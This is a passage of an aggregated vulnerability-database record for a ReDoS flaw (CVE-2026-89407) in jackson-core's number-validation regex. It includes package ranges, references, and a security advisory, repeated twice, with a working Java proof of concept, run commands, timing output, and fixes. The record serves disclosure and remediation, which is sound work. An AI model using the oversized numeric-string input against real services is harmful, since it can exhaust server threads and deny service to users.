SP6","package":"jackson-dataformat-xml","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.5.8.1"}]}],"bundled":12},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP Applications 15 SP6","package":"jackson-dataformats-binary","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-150200.3.29.1"}]}],"bundled":12},{"source":"osv","ecosystem":"Ubuntu:16.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.4.2-2"]},{"source":"osv","ecosystem":"Ubuntu:18.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.8.6-1","2.9.1-1","2.9.4-1","2.9.8-3~18.04"]},{"source":"osv","ecosystem":"Ubuntu:20.04:LTS","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.9.8-3","2.10.0-1","2.10.1-1"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["2.14.1-1build1","2.14.1-2"]},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-1.1"}]}],"bundled":3},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"jackson-annotations","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"jackson-core","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"jackson-databind","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.18.11-160000.1.1"}]}],"bundled":10}],"products":[{"vendor":"fasterxml","product":"jackson-core"}],"references":[{"url":"https://github.com/FasterXML/jackson-core/security/advisories/GHSA-p6pp-m3f8-5c89","tags":["vendor-advisory","exploit","advisory","web","report"]},{"url":"https://github.com/FasterXML/jackson-core/issues/1649","tags":["issue-tracking","report","web"]},{"url":"https://github.com/FasterXML/jackson-core/pull/1650","tags":["patch","fix","web","report"]},{"url":"https://github.com/FasterXML/jackson-core/pull/1701","tags":["patch","fix","web","report"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89407","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-core/commit/731e794f62623aa0d86ced52490166be903fbb1d","tags":["web"]},{"url":"https://github.com/FasterXML/jackson-core/commit/e7acd64cc99bd346704423dc2bfea1ab0a08ddff","tags":["web"]},{"url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89"},{"url":"https://access.redhat.com/errata/RHSA-2026:86706","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-89407","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-89425","tags":["report"]},{"url":"https://bugzilla.redhat.com/2538720","tags":["report"]},{"url":"https://bugzilla.redhat.com/2539084","tags":["report"]},{"url":"https://errata.almalinux.org/9/ALSA-2026-86706.html","tags":["advisory"]},{"url":"https://access.redhat.com/errata/RHSA-2026:92408","tags":["advisory"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-89058","tags":["report"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-89059","tags":["report"]},{"url":"https://bugzilla.redhat.com/2519756","tags":["report"]},{"url":"https://bugzilla.redhat.com/2519775","tags":["report"]},{"url":"https://errata.almalinux.org/10/ALSA-2026-92408.html","tags":["advisory"]},{"url":"https://repo1.maven.org/maven2","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/89xxx/CVE-2026-89407.json","tags":["advisory"]},{"url":"https://github.com/FasterXML/jackson-core","tags":["package"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-89407","tags":["advisory"]},{"url":"https://errata.rockylinux.org/RLSA-2026:86706","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2538720","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2539084","tags":["report"]},{"url":"https://errata.rockylinux.org/RLSA-2026:92408","tags":["advisory"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2519756","tags":["report"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2519775","tags":["report"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202624149-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1273856","tags":["report"]},{"url":"https://bugzilla.suse.com/1273857","tags":["report"]},{"url":"https://bugzilla.suse.com/1277883","tags":["report"]},{"url":"https://bugzilla.suse.com/1278008","tags":["report"]},{"url":"https://bugzilla.suse.com/1280125","tags":["report"]},{"url":"https://bugzilla.suse.com/1282491","tags":["report"]},{"url":"https://bugzilla.suse.com/1282492","tags":["report"]},{"url":"https://bugzilla.suse.com/1282505","tags":["report"]},{"url":"https://bugzilla.suse.com/1282641","tags":["report"]},{"url":"https://bugzilla.suse.com/1282645","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-18401","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-19032","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68494","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68498","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-83557","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-89407","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-89425","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-91776","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-91777","tags":["web"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-20264394-1/","tags":["advisory"]},{"url":"https://bugzilla.suse.com/1282639","tags":["report"]},{"url":"https://bugzilla.suse.com/1282640","tags":["report"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68495","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-68496","tags":["web"]},{"url":"https://ubuntu.com/security/CVE-2026-89407","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-89407","tags":["report"]},{"url":"","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2026-89407","title":"jackson-core: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber() enables ReDoS","description":"NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates \"stringified numbers\" with two regular expressions: PATTERN_FLOAT ([+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?), present since 2.17.0, and PATTERN_FLOAT_TRAILING_DOT, added in 2.17.2. PATTERN_FLOAT places adjacent quantifiers over the same character class -- an optional [0-9]* run, an optional dot, then a required [0-9]+ run -- so input that ultimately fails to match forces Java's backtracking engine to retry every possible split point of the digit run. \n\n\n\nMatching cost therefore grows with the square of the input length. \n\n\n\nAn attacker who can supply JSON that an application deserializes into a numeric target type reaches this method through jackson-databind's default String-to-number coercion (StdDeserializer and NumberDeserializers for BigDecimal, BigInteger, Double and Float). \n\n\n\nBecause StreamReadConstraints.maxStringLength defaults to 20,000,000 characters, no constraint bounds the input before it reaches the regex. \n\n\n\nTesting by the reporter confirmed O(n^2) growth across five consecutive input-size doublings, with a single 160,000-character string consuming roughly 74 seconds in one call; a small number of concurrent requests of ordinary body size can therefore exhaust a server's request-handling thread pool. \n\n\n\nThe affected method does not exist before 2.17.0, so 2.16.x and earlier releases are not affected. \n\n\n\nThe fix replaces both regular expressions with a hand-rolled single-pass scan.","status":"published","published":"2026-09-22T14:53:20.999Z","modified":"2026-09-22T15:52:44.881Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-02T14:19:55.176387Z"}],"euvd":[{"id":"EUVD-2026-84498","description":"NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates \"stringified numbers\" with two regular expressions: PATTERN_FLOAT ([+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?), present since 2.17.0, and PATTERN_FLOAT_TRAILING_DOT, added in 2.17.2. PATTERN_FLOAT places adjacent quantifiers over the same character class -- an optional [0-9]* run, an optional dot, then a required [0-9]+ run -- so input that ultimately fails to match forces Java's backtracking engine to retry every possible split point of the digit run. \n\n\n\nMatching cost therefore grows with the square of the input length. \n\n\n\nAn attacker who can supply JSON that an application deserializes into a numeric target type reaches this method through jackson-databind's default String-to-number coercion (StdDeserializer and NumberDeserializers for BigDecimal, BigInteger, Double and Float). \n\n\n\nBecause StreamReadConstraints.maxStringLength defaults to 20,000,000 characters, no constraint bounds the input before it reaches the regex. \n\n\n\nTesting by the reporter confirmed O(n^2) growth across five consecutive input-size doublings, with a single 160,000-character string consuming roughly 74 seconds in one call; a small number of concurrent requests of ordinary body size can therefore exhaust a server's request-handling thread pool. \n\n\n\nThe affected method does not exist before 2.17.0, so 2.16.x and earlier releases are not affected. \n\n\n\nThe fix replaces both regular expressions with a hand-rolled single-pass scan.","status":"published","published":"2026-09-22T14:53:20Z","modified":"2026-09-22T15:52:44Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T17:28:02.601428Z"}],"ghsa":[{"id":"GHSA-p6pp-m3f8-5c89","title":" jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()","description":"## Status\n\n**FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost\nexactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000\ncharacters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical\nHTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java`\n  (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point\n  `looksLikeValidNumber()` lines ~646-656)\n\n## Technical Analysis\n\n```java\nprivate final static Pattern PATTERN_FLOAT = Pattern.compile(\n      \"[+-]?[0-9]*[\\\\.]?[0-9]+([eE][+-]?[0-9]+)?\");\n\nprivate final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(\n        \"[+-]?[0-9]+[\\\\.]\");\n\npublic static boolean looksLikeValidNumber(final String s) {\n    // ... short-circuits only for null/empty/length==1 ...\n    return PATTERN_FLOAT.matcher(s).matches()\n            || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();\n}\n```\n\n`PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class:\n`[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java's\nbacktracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here,\nso on a non-matching input the engine must explore every possible split point between the\n`[0-9]*` and `[0-9]+` groups before concluding failure — the classic quadratic-backtracking\nshape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex\n(`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor\nwithout changing the asymptotic class.\n\nCritically, the length gate that applies to this specific path is\n`StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength`\n(default **1,000**) — the length ceiling the library uses everywhere else for numeric content.\nThis means inputs up to four orders of magnitude larger than the library's own numeric-length\npolicy reach this quadratic regex unmodified.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC8_NumberInputReDoS.java\njava -cp \"poc:$CP\" PoC8_NumberInputReDoS\n```\n\n## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`)\n\n```java\nimport com.fasterxml.jackson.core.io.NumberInput;\n\npublic class PoC8_NumberInputReDoS {\n\n    public static void main(String[] args) {\n        int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};\n        long[] timesMs = new long[sizes.length];\n\n        System.out.println(\"Timing NumberInput.looksLikeValidNumber(\u003cn ones\u003e + 'x') for growing n:\\n\");\n\n        for (int i = 0; i \u003c sizes.length; i++) {\n            int n = sizes[i];\n            String s = repeat('1', n) + \"x\";\n\n            if (i == 0) {\n                NumberInput.looksLikeValidNumber(repeat('1', 200) + \"x\"); // warm up\n            }\n\n            long t0 = System.nanoTime();\n            boolean result = NumberInput.looksLikeValidNumber(s);\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            timesMs[i] = elapsedMs;\n\n            System.out.printf(\"n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n\", n, result, elapsedMs);\n        }\n\n        System.out.println(\"\\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\");\n        boolean quadraticSignatureObserved = false;\n        for (int i = 1; i \u003c sizes.length; i++) {\n            double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];\n            System.out.printf(\"  n=%d -\u003e n=%d : %dms -\u003e %dms  (ratio=%.2fx)%n\",\n                    sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);\n            if (ratio \u003e= 3.0) quadraticSignatureObserved = true;\n        }\n\n        System.out.println(\"\\nLargest test (n=\" + sizes[sizes.length - 1] + \") took \" + timesMs[timesMs.length - 1]\n                + \" ms for a single call from ONE HTTP-body-sized string.\");\n        System.out.println(\"\\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) \"\n                + \"governs this path, not maxNumberLength (1,000).\");\n\n        if (quadraticSignatureObserved) {\n            System.out.println(\"\\n=\u003e REPRODUCED: superlinear (\u003e=3x per doubling) time growth observed, consistent \"\n                    + \"with quadratic backtracking in PATTERN_FLOAT on non-matching input.\");\n        }\n    }\n\n    static String repeat(char c, int n) {\n        char[] arr = new char[n];\n        java.util.Arrays.fill(arr, c);\n        return new String(arr);\n    }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nTiming NumberInput.looksLikeValidNumber(\u003cn ones\u003e + 'x') for growing n:\n\nn=5000     looksLikeValidNumber=false  elapsed=    74 ms\nn=10000    looksLikeValidNumber=false  elapsed=   306 ms\nn=20000    looksLikeValidNumber=false  elapsed=  1157 ms\nn=40000    looksLikeValidNumber=false  elapsed=  4655 ms\nn=80000    looksLikeValidNumber=false  elapsed= 18592 ms\nn=160000   looksLikeValidNumber=false  elapsed= 74393 ms\n\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\n  n=5000 -\u003e n=10000 : 74ms -\u003e 306ms  (ratio=4.14x)\n  n=10000 -\u003e n=20000 : 306ms -\u003e 1157ms  (ratio=3.78x)\n  n=20000 -\u003e n=40000 : 1157ms -\u003e 4655ms  (ratio=4.02x)\n  n=40000 -\u003e n=80000 : 4655ms -\u003e 18592ms  (ratio=3.99x)\n  n=80000 -\u003e n=160000 : 18592ms -\u003e 74393ms  (ratio=4.00x)\n\nLargest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.\n\n=\u003e REPRODUCED: superlinear (\u003e=3x per doubling) time growth observed, consistent with quadratic\nbacktracking in PATTERN_FLOAT on non-matching input.\n```\n\nThis is an unusually clean empirical result: five consecutive doublings each produced a ratio\nbetween 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within\n5% at every single measurement, leaving essentially no ambiguity about the complexity class.\nExtrapolating this measured curve, a ~1MB string (well within common request body limits) would\ntake on the order of hours for a single call.\n\n## Impact\n\nAny application that coerces a String-typed JSON field to a number (default `jackson-databind`\nbehavior) is exposed: an attacker who can submit a large numeric-looking string (up to\n`maxStringLength`'s default of 20,000,000 characters — far larger than needed given the\nmeasured curve) can pin a request-handling thread for an extended period with a single request.\nBecause the cost scales quadratically, a handful of concurrent moderately-sized requests\n(tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread\npool, denying service to all users.\n\n## Remediation\n\n1. Rewrite `PATTERN_FLOAT` without quantifier ambiguity using possessive quantifiers, e.g.\n   `[+-]?(?:[0-9]++(?:\\.[0-9]*+)?|\\.[0-9]++)(?:[eE][+-]?[0-9]++)?`, which also folds in the\n   trailing-dot case and removes the need for a second full-string scan.\n2. Better: replace the regex entirely with a single-pass hand-written character scan — the same\n   file already contains exactly this pattern for `parseInt`, so the library has both the\n   precedent and the code style available.\n3. Apply an independent length limit (`maxNumberLength`, not the much larger\n   `maxStringLength`) before calling `looksLikeValidNumber()`, closing the four-orders-of-\n   magnitude gap between the two constraints for this specific code path.\n4. Operationally, until fixed: tighten `StreamReadConstraints.maxStringLength` well below its\n   default, and set wall-clock timeouts on parse/coercion operations.","status":"published","published":"2026-10-01T15:19:21Z","modified":"2026-10-01T15:19:23Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:41:24.739884Z"}],"nvd":[{"id":"CVE-2026-89407","description":"NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates \"stringified numbers\" with two regular expressions: PATTERN_FLOAT ([+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?), present since 2.17.0, and PATTERN_FLOAT_TRAILING_DOT, added in 2.17.2. PATTERN_FLOAT places adjacent quantifiers over the same character class -- an optional [0-9]* run, an optional dot, then a required [0-9]+ run -- so input that ultimately fails to match forces Java's backtracking engine to retry every possible split point of the digit run. \n\n\n\nMatching cost therefore grows with the square of the input length. \n\n\n\nAn attacker who can supply JSON that an application deserializes into a numeric target type reaches this method through jackson-databind's default String-to-number coercion (StdDeserializer and NumberDeserializers for BigDecimal, BigInteger, Double and Float). \n\n\n\nBecause StreamReadConstraints.maxStringLength defaults to 20,000,000 characters, no constraint bounds the input before it reaches the regex. \n\n\n\nTesting by the reporter confirmed O(n^2) growth across five consecutive input-size doublings, with a single 160,000-character string consuming roughly 74 seconds in one call; a small number of concurrent requests of ordinary body size can therefore exhaust a server's request-handling thread pool. \n\n\n\nThe affected method does not exist before 2.17.0, so 2.16.x and earlier releases are not affected. \n\n\n\nThe fix replaces both regular expressions with a hand-rolled single-pass scan.","status":"published","published":"2026-09-22T15:17:21.053Z","modified":"2026-09-22T20:00:03.713Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:12:50.368368Z"}],"osv":[{"id":"CVE-2026-89407","title":"jackson-core: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber() enables ReDoS","description":"NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates \"stringified numbers\" with two regular expressions: PATTERN_FLOAT ([+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?), present since 2.17.0, and PATTERN_FLOAT_TRAILING_DOT, added in 2.17.2. PATTERN_FLOAT places adjacent quantifiers over the same character class -- an optional [0-9]* run, an optional dot, then a required [0-9]+ run -- so input that ultimately fails to match forces Java's backtracking engine to retry every possible split point of the digit run. \n\n\n\nMatching cost therefore grows with the square of the input length. \n\n\n\nAn attacker who can supply JSON that an application deserializes into a numeric target type reaches this method through jackson-databind's default String-to-number coercion (StdDeserializer and NumberDeserializers for BigDecimal, BigInteger, Double and Float). \n\n\n\nBecause StreamReadConstraints.maxStringLength defaults to 20,000,000 characters, no constraint bounds the input before it reaches the regex. \n\n\n\nTesting by the reporter confirmed O(n^2) growth across five consecutive input-size doublings, with a single 160,000-character string consuming roughly 74 seconds in one call; a small number of concurrent requests of ordinary body size can therefore exhaust a server's request-handling thread pool. \n\n\n\nThe affected method does not exist before 2.17.0, so 2.16.x and earlier releases are not affected. \n\n\n\nThe fix replaces both regular expressions with a hand-rolled single-pass scan.","status":"published","published":"2026-09-22T14:53:20.999Z","modified":"2026-11-05T21:16:16.229855607Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-05T22:00:58.054534Z"},{"id":"DEBIAN-CVE-2026-89407","description":"NumberInput.looksLikeValidNumber() in FasterXML jackson-core pre-validates \"stringified numbers\" with two regular expressions: PATTERN_FLOAT ([+-]?[0-9]*[\\.]?[0-9]+([eE][+-]?[0-9]+)?), present since 2.17.0, and PATTERN_FLOAT_TRAILING_DOT, added in 2.17.2. PATTERN_FLOAT places adjacent quantifiers over the same character class -- an optional [0-9]* run, an optional dot, then a required [0-9]+ run -- so input that ultimately fails to match forces Java's backtracking engine to retry every possible split point of the digit run.     Matching cost therefore grows with the square of the input length.     An attacker who can supply JSON that an application deserializes into a numeric target type reaches this method through jackson-databind's default String-to-number coercion (StdDeserializer and NumberDeserializers for BigDecimal, BigInteger, Double and Float).     Because StreamReadConstraints.maxStringLength defaults to 20,000,000 characters, no constraint bounds the input before it reaches the regex.     Testing by the reporter confirmed O(n^2) growth across five consecutive input-size doublings, with a single 160,000-character string consuming roughly 74 seconds in one call; a small number of concurrent requests of ordinary body size can therefore exhaust a server's request-handling thread pool.     The affected method does not exist before 2.17.0, so 2.16.x and earlier releases are not affected.     The fix replaces both regular expressions with a hand-rolled single-pass scan.","status":"published","published":"2026-09-22T15:17:21.053Z","modified":"2026-09-23T06:00:08.357251397Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:46:05.506112Z"},{"id":"GHSA-p6pp-m3f8-5c89","title":" jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()","description":"## Status\n\n**FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost\nexactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000\ncharacters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical\nHTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java`\n  (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point\n  `looksLikeValidNumber()` lines ~646-656)\n\n## Technical Analysis\n\n```java\nprivate final static Pattern PATTERN_FLOAT = Pattern.compile(\n      \"[+-]?[0-9]*[\\\\.]?[0-9]+([eE][+-]?[0-9]+)?\");\n\nprivate final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(\n        \"[+-]?[0-9]+[\\\\.]\");\n\npublic static boolean looksLikeValidNumber(final String s) {\n    // ... short-circuits only for null/empty/length==1 ...\n    return PATTERN_FLOAT.matcher(s).matches()\n            || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();\n}\n```\n\n`PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class:\n`[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java's\nbacktracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here,\nso on a non-matching input the engine must explore every possible split point between the\n`[0-9]*` and `[0-9]+` groups before concluding failure — the classic quadratic-backtracking\nshape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex\n(`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor\nwithout changing the asymptotic class.\n\nCritically, the length gate that applies to this specific path is\n`StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength`\n(default **1,000**) — the length ceiling the library uses everywhere else for numeric content.\nThis means inputs up to four orders of magnitude larger than the library's own numeric-length\npolicy reach this quadratic regex unmodified.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC8_NumberInputReDoS.java\njava -cp \"poc:$CP\" PoC8_NumberInputReDoS\n```\n\n## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`)\n\n```java\nimport com.fasterxml.jackson.core.io.NumberInput;\n\npublic class PoC8_NumberInputReDoS {\n\n    public static void main(String[] args) {\n        int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};\n        long[] timesMs = new long[sizes.length];\n\n        System.out.println(\"Timing NumberInput.looksLikeValidNumber(\u003cn ones\u003e + 'x') for growing n:\\n\");\n\n        for (int i = 0; i \u003c sizes.length; i++) {\n            int n = sizes[i];\n            String s = repeat('1', n) + \"x\";\n\n            if (i == 0) {\n                NumberInput.looksLikeValidNumber(repeat('1', 200) + \"x\"); // warm up\n            }\n\n            long t0 = System.nanoTime();\n            boolean result = NumberInput.looksLikeValidNumber(s);\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            timesMs[i] = elapsedMs;\n\n            System.out.printf(\"n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n\", n, result, elapsedMs);\n        }\n\n        System.out.println(\"\\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\");\n        boolean quadraticSignatureObserved = false;\n        for (int i = 1; i \u003c sizes.length; i++) {\n            double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];\n            System.out.printf(\"  n=%d -\u003e n=%d : %dms -\u003e %dms  (ratio=%.2fx)%n\",\n                    sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);\n            if (ratio \u003e= 3.0) quadraticSignatureObserved = true;\n        }\n\n        System.out.println(\"\\nLargest test (n=\" + sizes[sizes.length - 1] + \") took \" + timesMs[timesMs.length - 1]\n                + \" ms for a single call from ONE HTTP-body-sized string.\");\n        System.out.println(\"\\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) \"\n                + \"governs this path, not maxNumberLength (1,000).\");\n\n        if (quadraticSignatureObserved) {\n            System.out.println(\"\\n=\u003e REPRODUCED: superlinear (\u003e=3x per doubling) time growth observed, consistent \"\n                    + \"with quadratic backtracking in PATTERN_FLOAT on non-matching input.\");\n        }\n    }\n\n    static String repeat(char c, int n) {\n        char[] arr = new char[n];\n        java.util.Arrays.fill(arr, c);\n        return new String(arr);\n    }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nTiming NumberInput.looksLikeValidNumber(\u003cn ones\u003e + 'x') for growing n:\n\nn=5000     looksLikeValidNumber=false  elapsed=    74 ms\nn=10000    looksLikeValidNumber=false  elapsed=   306 ms\nn=20000    looksLikeValidNumber=false  elapsed=  1157 ms\nn=40000    looksLikeValidNumber=false  elapsed=  4655 ms\nn=80000    looksLikeValidNumber=false  elapsed= 18592 ms\nn=160000   looksLikeValidNumber=false  elapsed= 74393 ms\n\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\n  n=5000 -\u003e n=10000 : 74ms -\u003e 306ms  (ratio=4.14x)\n  n=10000 -\u003e n=20000 : 306ms -\u003e 1157ms  (ratio=3.78x)\n  n=20000 -\u003e n=40000 : 1157ms -\u003e 4655ms  (ratio=4.02x)\n  n=40000 -\u003e n=80000 : 4655ms -\u003e 18592ms  (ratio=3.99x)\n  n=80000 -\u003e n=160000 : 18592ms -\u003e 74393ms  (ratio=4.00x)\n\nLargest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.\n\n=\u003e REPRODUCED: superlinear (\u003e=3x per doubling) time growth observed, consistent with quadratic\nbacktracking in PATTERN_FLOAT on non-matching input.\n```\n\nThis is an unusually clean empirical result: five consecutive doublings each produced a ratio\nbetween 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within\n5% at every single measurement, leaving essentially no ambiguity about the complexity class.\nExtrapolating this measured curve, a ~1MB string (well within common request body limits) would\ntake on the order of hours for a single call.\n\n## Impact\n\nAny application that coerces a String-typed JSON field to a number (default `jackson-databind`\nbehavior) is exposed: an attacker who can submit a large numeric-looking string (up to\n`maxStringLength`'s default of 20,000,000 characters — far larger than needed given the\nmeasured curve) can pin a request-handling thread for an extended period with a single request.\nBecause the cost scales quadratically, a handful of concurrent moderately-sized requests\n(tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread\npool, denying service to all users.\n\n## Remediation\n\n1. Rewrite `PATTERN_FLOAT` without quantifier ambiguity using possessive quantifiers, e.g.\n   `[+-]?(?:[0-9]++(?:\\.[0-9]*+)?|\\.[0-9]++)(?:[eE][+-]?[0-9]++)?`, which also folds in the\n   trailing-dot case and removes the need for a second full-string scan.\n2. Better: replace the regex entirely with a single-pass hand-written character scan — the same\n   file already contains exactly this pattern for `parseInt`, so the library has both the\n   precedent and the code style available.\n3. Apply an independent length limit 